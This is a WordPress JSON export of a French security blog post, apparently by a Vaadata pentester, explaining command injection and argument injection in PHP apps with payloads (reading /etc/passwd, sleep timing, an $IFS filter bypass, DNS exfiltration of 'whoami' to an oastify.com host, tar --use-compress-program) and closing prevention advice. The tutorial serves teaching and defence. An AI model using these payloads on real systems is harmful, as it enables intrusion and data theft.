{"id":10664,"date":"2024-09-13T11:28:45","date_gmt":"2024-09-13T09:28:45","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=10664"},"modified":"2024-09-13T11:28:49","modified_gmt":"2024-09-13T09:28:49","slug":"injections-de-commandes-exploitations-et-bonnes-pratiques-securite","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/injections-de-commandes-exploitations-et-bonnes-pratiques-securite\/","title":{"rendered":"Injections de commandes : exploitations et bonnes pratiques s\u00e9curit\u00e9\u00a0"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/injections-commandes-1024x535.png\" alt=\"Injections de commandes : exploitations et bonnes pratiques s\u00e9curit\u00e9\u00a0\" class=\"wp-image-10665\" style=\"width:398px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/injections-commandes-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/injections-commandes-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/injections-commandes-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Dans le domaine de la s\u00e9curit\u00e9 web, les injections de commandes figurent parmi les vuln\u00e9rabilit\u00e9s les plus critiques.&nbsp; Elles se produisent lorsqu&rsquo;un attaquant parvient \u00e0 ex\u00e9cuter des commandes syst\u00e8me arbitraires sur le serveur web. Ce type d&rsquo;attaque peut entra\u00eener des fuites de donn\u00e9es sensibles, la corruption de donn\u00e9es ou le contr\u00f4le complet de l&rsquo;environnement cible.<\/p>\n\n\n\n<p>Dans cet article, nous explorons les principes et m\u00e9thodes d\u2019exploitation des injections de commandes. Nous pr\u00e9sentons \u00e9galement les bonnes pratiques s\u00e9curit\u00e9 et les mesures \u00e0 impl\u00e9menter pour se prot\u00e9ger contre ces attaques.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">En quoi consiste une injection de commandes&nbsp;?<\/h2>\n\n\n\n<p>Les injections de commandes surviennent lorsque les entr\u00e9es utilisateur ne sont pas correctement valid\u00e9es avant d&rsquo;\u00eatre int\u00e9gr\u00e9es dans des fonctions qui ex\u00e9cutent des commandes syst\u00e8me. Si une application accepte des donn\u00e9es provenant d&rsquo;utilisateurs sans les filtrer, un attaquant peut d\u00e9tourner la commande initiale et ex\u00e9cuter des commandes arbitraires.<\/p>\n\n\n\n<p>Pour contourner la commande pr\u00e9vue, il est possible d\u2019utiliser des caract\u00e8res sp\u00e9ciaux qui agissent comme des s\u00e9parateurs de commandes, permettant ainsi de sortir du contexte original et d\u2019ex\u00e9cuter d&rsquo;autres commandes. Les principaux s\u00e9parateurs de commandes sur les syst\u00e8mes Windows et Unix incluent : &amp;, &amp;&amp;, | ou ||.<\/p>\n\n\n\n<p>Sur les syst\u00e8mes Unix, il existe des s\u00e9parateurs suppl\u00e9mentaires qui permettent \u00e9galement de chainer des commandes.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>;\n0x0a ou \\n (caract\u00e8re du saut \u00e0 la ligne)\n`\n$()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Comment identifier et exploiter des injections de commandes&nbsp;?<\/h2>\n\n\n\n<p>Pour d\u00e9tecter les vuln\u00e9rabilit\u00e9s li\u00e9es aux injections de commandes, plusieurs approches peuvent \u00eatre adopt\u00e9es.<\/p>\n\n\n\n<p>L&rsquo;une d&rsquo;elles consiste \u00e0 examiner le code source de l&rsquo;application pour identifier les emplacements o\u00f9 des commandes syst\u00e8me sont ex\u00e9cut\u00e9es avec des entr\u00e9es utilisateur non valid\u00e9es.<\/p>\n\n\n\n<p>Une autre approche est l&rsquo;utilisation de dictionnaires pr\u00e9\u00e9tablis de payloads pour d\u00e9tecter les vuln\u00e9rabilit\u00e9s. En envoyant ces payloads au serveur et en analysant les r\u00e9ponses, il est possible de d\u00e9terminer si le serveur est vuln\u00e9rable aux injections de commandes. <\/p>\n\n\n\n<p>C&rsquo;est cette m\u00e9thode que nous allons explorer, en mettant l&rsquo;accent sur les cas d\u2019exploitations les plus courants d&rsquo;un point de vue <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/test-intrusion-boite-noire-grise-blanche-3-options\/\" target=\"_blank\" rel=\"noopener\" title=\"\">boite noire<\/a>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-4cd5c79c4a898429cb5afe115f796273\" style=\"color:#c0b800\">Exploitation d\u2019une injection de commandes sur une application PHP<\/h3>\n\n\n\n<p>Prenons le cas d\u2019une application en PHP qui tourne sur un serveur linux et qui permet de retourner l\u2019adresse IP pour un nom de domaine donn\u00e9.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"530\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-ip-address-1024x530.png\" alt=\"\" class=\"wp-image-10670\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-ip-address-1024x530.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-ip-address-300x155.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-ip-address.png 1078w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Ce qui peut souvent attirer l&rsquo;attention d&rsquo;un pentester, c&rsquo;est l&rsquo;utilisation de fonctionnalit\u00e9s sugg\u00e9rant l&rsquo;ex\u00e9cution de commandes syst\u00e8me.<\/p>\n\n\n\n<p>Par exemple, on pourrait supposer que le backend utilise une fonction syst\u00e8me pour appeler un binaire natif comme <code>dig<\/code>, permettant d&rsquo;interroger des serveurs DNS.<\/p>\n\n\n\n<p>\u00c0 titre d&rsquo;exemple simplifi\u00e9, on pourrait avoir un code ressemblant \u00e0 ceci&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shell_exec(\"dig \".$_POST&#91;'domain']);<\/code><\/pre>\n\n\n\n<p>Dans ce contexte, il est possible d&rsquo;ajouter des caract\u00e8res permettant de cha\u00eener plusieurs commandes syst\u00e8me. Par exemple, en ajoutant le caract\u00e8re \u00ab\u00a0<strong>;\u00a0\u00bb<\/strong> suivi de la commande <code>cat \/etc\/passwd<\/code>, il devient possible d&rsquo;afficher le contenu du fichier \u00ab\u00a0\/etc\/passwd\u00a0\u00bb.<\/p>\n\n\n\n<p>Ainsi, la commande ex\u00e9cut\u00e9e par le serveur sera la suivante :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dig ;cat \/etc\/passwd<\/code><\/pre>\n\n\n\n<p>Le serveur nous r\u00e9pond avec une partie du contenu du fichier \u00ab\u00a0\/etc\/passwd\u00a0\u00bb ce qui confirme que le serveur est vuln\u00e9rable \u00e0 l\u2019injection de commande.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"537\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/server-response-command-injection-1024x537.png\" alt=\"\" class=\"wp-image-10672\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/server-response-command-injection-1024x537.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/server-response-command-injection-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/server-response-command-injection.png 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-6dc374478830e6b45540c8e444821aa8\" style=\"color:#c0b800\">Injection de commande en aveugle (blind command injection)<\/h3>\n\n\n\n<p>Il peut arriver que le serveur ne renvoie pas le r\u00e9sultat des commandes dans sa r\u00e9ponse. Dans ce cas, plusieurs binaires natifs aux syst\u00e8mes d&rsquo;exploitation peuvent \u00eatre utilis\u00e9s pour confirmer une injection de commande.<\/p>\n\n\n\n<p>Par exemple, le binaire \u00ab&nbsp;sleep&nbsp;\u00bb sous Linux ou \u00ab&nbsp;timeout&nbsp;\u00bb sous Windows permettent de suspendre temporairement l&rsquo;activit\u00e9 du serveur. Ainsi, si un attaquant utilise ces commandes, le serveur mettra en pause l&rsquo;ex\u00e9cution avant de renvoyer une r\u00e9ponse.<\/p>\n\n\n\n<p>Prenons l&rsquo;exemple d&rsquo;une fonctionnalit\u00e9 permettant de s&rsquo;abonner \u00e0 une newsletter. Cette fonctionnalit\u00e9 ne renvoie qu&rsquo;un message standard confirmant que l&rsquo;utilisateur est bien inscrit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"514\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/app-subscribe-1024x514.png\" alt=\"\" class=\"wp-image-10674\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/app-subscribe-1024x514.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/app-subscribe-300x151.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/app-subscribe.png 1078w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Pour v\u00e9rifier si cette fonctionnalit\u00e9 est vuln\u00e9rable aux injections de commandes, nous utiliserons la commande sleep sous Linux, qui suspendra l&rsquo;ex\u00e9cution du serveur pendant 5 secondes.<\/p>\n\n\n\n<p>Le payload utilis\u00e9 sera :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>;sleep 5<\/code><\/pre>\n\n\n\n<p>Comme le montre la capture suivante, le serveur a bien attendu plus de 5 secondes avant de r\u00e9pondre, ce qui confirme que le serveur est vuln\u00e9rable.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"481\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/command-injection-server-1024x481.png\" alt=\"\" class=\"wp-image-10676\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/command-injection-server-1024x481.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/command-injection-server-300x141.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/command-injection-server.png 1072w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-a16a78d62554ecb1b2ac62492bc7c4c6\" style=\"color:#c0b800\">Contournement d\u2019un filtre<\/h3>\n\n\n\n<p>Les serveurs peuvent parfois utiliser des blacklists pour filtrer certains caract\u00e8res ou cha\u00eenes sp\u00e9cifiques, comme les espaces ou certaines commandes. Pour contourner une blacklist, on peut exploiter des caract\u00e8res alternatifs, utiliser des encodages diff\u00e9rents, ou tirer parti de variables sp\u00e9cifiques au syst\u00e8me.<\/p>\n\n\n\n<p>Dans notre exemple, le serveur supprime tous les espaces des entr\u00e9es utilisateur. \u00c0 premi\u00e8re vue, cela semble \u00eatre une solution efficace, car ce filtre limite consid\u00e9rablement l&rsquo;exploitation des injections de commande aveugles. <\/p>\n\n\n\n<p>Cependant, il existe plusieurs techniques pour contourner ce type de filtre.<\/p>\n\n\n\n<p>L&rsquo;une de ces astuces, sur les serveurs Linux, consiste \u00e0 utiliser la variable <a href=\"https:\/\/bash.cyberciti.biz\/guide\/$IFS\" target=\"_blank\" rel=\"noopener\" title=\"\">IFS (Internal Field Separator)<\/a>. Cette variable permet de d\u00e9finir un caract\u00e8re autre que l&rsquo;espace comme s\u00e9parateur de champs. En modifiant cette variable, il est possible de remplacer les espaces, ce qui permet de contourner le filtre tout en maintenant la syntaxe correcte des commandes inject\u00e9es.<\/p>\n\n\n\n<p>Ainsi, au lieu d&rsquo;utiliser la commande :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>;sleep 5<\/code><\/pre>\n\n\n\n<p>On pourra contourner le filtre en utilisant le payload suivant :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>;sleep{$IFS}5<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"468\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/filter-bypass-command-injection-1024x468.png\" alt=\"\" class=\"wp-image-10678\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/filter-bypass-command-injection-1024x468.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/filter-bypass-command-injection-300x137.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/filter-bypass-command-injection.png 1274w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-2c2fe3ea82c403dbddd77395f9ad408f\" style=\"color:#c0b800\">Injection de commande hors-bande (out-of-band)<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Principes de la vuln\u00e9rabilit\u00e9<\/h4>\n\n\n\n<p>Il existe des cas o\u00f9 l\u2019entr\u00e9e utilisateur est trait\u00e9e dans des fonctions ex\u00e9cut\u00e9es de mani\u00e8re asynchrone. <\/p>\n\n\n\n<p>L&rsquo;ex\u00e9cution asynchrone permet au serveur de continuer \u00e0 fonctionner sans interrompre le programme principal. En cons\u00e9quence, les commandes ex\u00e9cut\u00e9es de cette fa\u00e7on n&rsquo;ont pas d&rsquo;impact direct sur la r\u00e9ponse du serveur.<\/p>\n\n\n\n<p>Il devient donc impossible d&rsquo;utiliser des commandes comme \u00ab\u00a0sleep\u00a0\u00bb et de se baser sur le temps de r\u00e9ponse du serveur afin de confirmer que le serveur est vuln\u00e9rable aux injections de commandes.<\/p>\n\n\n\n<p>C&rsquo;est dans ces situations que les tests hors bande (out-of-band) deviennent utiles. Ce type de test consiste \u00e0 utiliser des protocoles tels que SMTP, HTTP ou DNS pour exfiltrer des donn\u00e9es vers un serveur contr\u00f4l\u00e9 par l&rsquo;attaquant.<\/p>\n\n\n\n<p>Dans l&rsquo;exemple suivant, nous montrerons une technique permettant d&rsquo;exfiltrer des donn\u00e9es en utilisant la r\u00e9solution DNS.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Exploitation avec exfiltration DNS<\/h4>\n\n\n\n<p>Il est possible d\u2019exfiltrer des informations en utilisant la substitution de commande. L\u2019id\u00e9e consiste \u00e0 inclure la sortie de la commande souhait\u00e9e comme sous-domaine d&rsquo;un domaine contr\u00f4l\u00e9 par l&rsquo;attaquant, puis \u00e0 d\u00e9clencher une requ\u00eate DNS vers ce serveur. Le serveur DNS autoritaire, g\u00e9r\u00e9 par l&rsquo;attaquant, recevra cette requ\u00eate et capturera ainsi l&rsquo;information contenue dans le sous-domaine.<\/p>\n\n\n\n<p>Le payload suivant permet de mettre en \u0153uvre cette technique :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&amp;nslookup $(whoami).2be49ebqfgnfrxyjeqammobl8ce32uqj.oastify.com&amp;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"472\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-injection-1024x472.png\" alt=\"\" class=\"wp-image-10684\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-injection-1024x472.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-injection-300x138.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-injection.png 1296w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Dans cet exemple, le serveur DNS re\u00e7oit la requ\u00eate avec le r\u00e9sultat de la commande, qui, ici, est le nom de l&rsquo;utilisateur courant \u00ab&nbsp;<strong>peter-hiHxI0<\/strong>&nbsp;\u00bb.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"792\" height=\"363\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-command-injection.png\" alt=\"\" class=\"wp-image-10686\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-command-injection.png 792w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/out-of-band-command-injection-300x138.png 300w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-9f8cefd3b6a901c8ca6ac014e95efaee\" style=\"color:#c0b800\">Injection d\u2019arguments<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">M\u00e9canismes de l\u2019injection d\u2019arguments<\/h4>\n\n\n\n<p>Lorsque l&rsquo;entr\u00e9e utilisateur n&rsquo;est plus concat\u00e9n\u00e9e mais pass\u00e9e en tant qu&rsquo;argument aux fonctions, cela peut sembler s\u00fbr \u00e0 premi\u00e8re vue. Cependant, cela introduit un sous-type d&rsquo;injection de commandes : l&rsquo;injection d&rsquo;arguments.<\/p>\n\n\n\n<p>L&rsquo;injection d&rsquo;arguments, consiste \u00e0 manipuler les arguments pass\u00e9s \u00e0 des commandes syst\u00e8me pour obtenir des comportements ind\u00e9sirables ou dangereux. En fonction du binaire utilis\u00e9 par l\u2019application, l\u2019impact peut r\u00e9sulter de la simple divulgation d\u2019informations \u00e0 l\u2019ex\u00e9cution de commande \u00e0 distance.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Injection d&rsquo;arguments dans une application PHP<\/h4>\n\n\n\n<p>Prenons l\u2019exemple d\u2019une application PHP qui utilise une entr\u00e9e utilisateur pour cr\u00e9er une archive.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"366\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-archives-1024x366.png\" alt=\"\" class=\"wp-image-10692\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-archives-1024x366.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-archives-300x107.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/php-app-archives.png 1390w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>L\u2019application utilise le code suivant :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'file']) &amp;&amp; is_array($_GET&#91;'file'])) {\n    $files_to_archive = &#91;];\n\n    \/\/ Escaping each argument to avoid command injections\n    foreach ($_GET&#91;'file'] as $file) {\n        if (!empty($file)) { \n            $files_to_archive&#91;] = escapeshellarg($file);\n        }\n    }\n\n    if (!empty($files_to_archive)) {\n        \/\/ Build tar command\n        $command = \"tar cf my.tar \" . implode(' ', $files_to_archive);\n\n        \/\/ Execute command\n        exec($command, $output, $return_var);\n}<\/code><\/pre>\n\n\n\n<p>Le code utilise la fonction <code>escapeshellarg<\/code> pour passer plusieurs arguments \u00e0 la commande <code>tar<\/code>, au lieu de concat\u00e9ner directement les entr\u00e9es utilisateurs dans la fonction <code>exec<\/code>. Cela permet de s\u00e9curiser l&rsquo;ex\u00e9cution de la commande en \u00e9chappant tous les caract\u00e8res sp\u00e9ciaux qui permettraient de faire de l\u2019injection de commande.<\/p>\n\n\n\n<p>Toutefois, l&rsquo;utilisation de la commande <code>tar<\/code> peut pr\u00e9senter des risques, notamment \u00e0 travers l\u2019argument \u00ab\u00a0use-compress-program\u00a0\u00bb. Cet argument permet initialement d\u2019\u00e9tendre les capacit\u00e9s de <code>tar<\/code> en permettant l&rsquo;utilisation de programmes de compression externes.<\/p>\n\n\n\n<p>Son utilisation peut \u00eatre d\u00e9tourn\u00e9e pour lancer des commandes syst\u00e8mes. <\/p>\n\n\n\n<p>Voici un exemple avec une commande qui permet d\u2019ex\u00e9cuter la commande sleep.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tar --use-compress-program='sleep 5 ' -cf \/tmp\/passwd \/etc\/passwd<\/code><\/pre>\n\n\n\n<p>Dans le contexte de notre application web, cela nous donnerait le payload suivant :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/arg.php?file&#91;]=x&amp;file&#91;]=--use-compress-program&amp;file&#91;]=sleep 5<\/code><\/pre>\n\n\n\n<p>Comme nous pouvons le voir dans la capture suivante, le serveur r\u00e9pond 5 secondes plus tard, ce qui nous permet de confirmer que l\u2019application est vuln\u00e9rable aux injections d\u2019arguments.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"463\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/argument-injection-1-1024x463.png\" alt=\"\" class=\"wp-image-10694\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/argument-injection-1-1024x463.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/argument-injection-1-300x136.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/09\/argument-injection-1.png 1401w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Comment pr\u00e9venir les attaques par injections de commandes&nbsp;?<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-1f86371683e7cf7bf7570413a552be84\" style=\"color:#c0b800\">Se prot\u00e9ger contre les injections de commandes<\/h3>\n\n\n\n<p>Pour se prot\u00e9ger contre les attaques d&rsquo;injection de commandes, il est essentiel de minimiser les risques en \u00e9vitant, autant que possible, de passer des entr\u00e9es utilisateur directement dans des fonctions syst\u00e8me.<\/p>\n\n\n\n<p>L&rsquo;un des moyens les plus efficaces est de ne pas utiliser de fonctions syst\u00e8me lorsque cela n&rsquo;est pas strictement n\u00e9cessaire. De nombreuses t\u00e2ches courantes peuvent \u00eatre accomplies \u00e0 l&rsquo;aide de fonctions de haut niveau fournies par le langage de programmation utilis\u00e9. Ces fonctions sont con\u00e7ues pour \u00eatre s\u00e9curis\u00e9es et isol\u00e9es des risques inh\u00e9rents \u00e0 l&rsquo;ex\u00e9cution directe de commandes shell.<\/p>\n\n\n\n<p>Par exemple, une mauvaise pratique serait d\u2019utiliser la fonction <code>system()<\/code> pour cr\u00e9er un r\u00e9pertoire quand il existe la fonction <code>mkdir()<\/code> en PHP.<\/p>\n\n\n\n<p>Dans les cas o\u00f9 l&rsquo;utilisation de commandes syst\u00e8me est in\u00e9vitable, il est crucial de valider et d&rsquo;assainir les entr\u00e9es utilisateur. Cela signifie que toute donn\u00e9e fournie par l&rsquo;utilisateur doit \u00eatre valid\u00e9e contre une liste blanche qui d\u00e9finit strictement les caract\u00e8res et formats autoris\u00e9s.<\/p>\n\n\n\n<p>La validation par liste blanche consiste \u00e0 n&rsquo;autoriser que les caract\u00e8res alphanum\u00e9riques (A-Z, a-z, 0-9) et de bien s\u2019assurer que les espaces ne sont pas autoris\u00e9s.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-8fde2ef1ef67bab8698f7a267711be14\" style=\"color:#c0b800\">Contrer les risques d\u2019injections d\u2019arguments<\/h3>\n\n\n\n<p>Pour corriger les injections d\u2019arguments, un correctif consiste \u00e0 utiliser le d\u00e9limiteur \u00ab\u00a0&#8212;\u00a0\u00bb pour indiquer la fin des options et forcer les arguments suivants \u00e0 \u00eatre interpr\u00e9t\u00e9s comme des op\u00e9randes<\/p>\n\n\n\n<p>Ainsi la commande suivante ne pourra plus permettre \u00e0 un utilisateur d\u2019ajouter des arguments arbitraires. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>touch -- $user_input<\/code><\/pre>\n\n\n\n<p>Lorsque vous travaillez avec des programmes qui ne g\u00e8rent pas la fin des options comme <strong>zip<\/strong>, la mani\u00e8re la plus s\u00fbre de proc\u00e9der est de pr\u00e9fixer tout chemin contr\u00f4l\u00e9 par l&rsquo;utilisateur par \u00ab\u00a0.\/\u00a0\u00bb ou \u00ab\u00a0\/.\u00a0\u00bb<\/p>\n\n\n\n<p><strong>Auteur : Yacine DJABER &#8211; Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dans le domaine de la s\u00e9curit\u00e9 web, les injections de commandes figurent parmi les vuln\u00e9rabilit\u00e9s les plus critiques.&nbsp; Elles se produisent lorsqu&rsquo;un attaquant parvient \u00e0 ex\u00e9cuter des commandes syst\u00e8me arbitraires sur le serveur web. Ce type d&rsquo;attaque peut entra\u00eener des fuites de donn\u00e9es sensibles, la corruption de donn\u00e9es ou le contr\u00f4le complet de l&rsquo;environnement cible.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":{"0":"post-10664","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=10664"}],"version-history":[{"count":10,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664\/revisions"}],"predecessor-version":[{"id":10700,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/10664\/revisions\/10700"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=10664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=10664"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=10664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}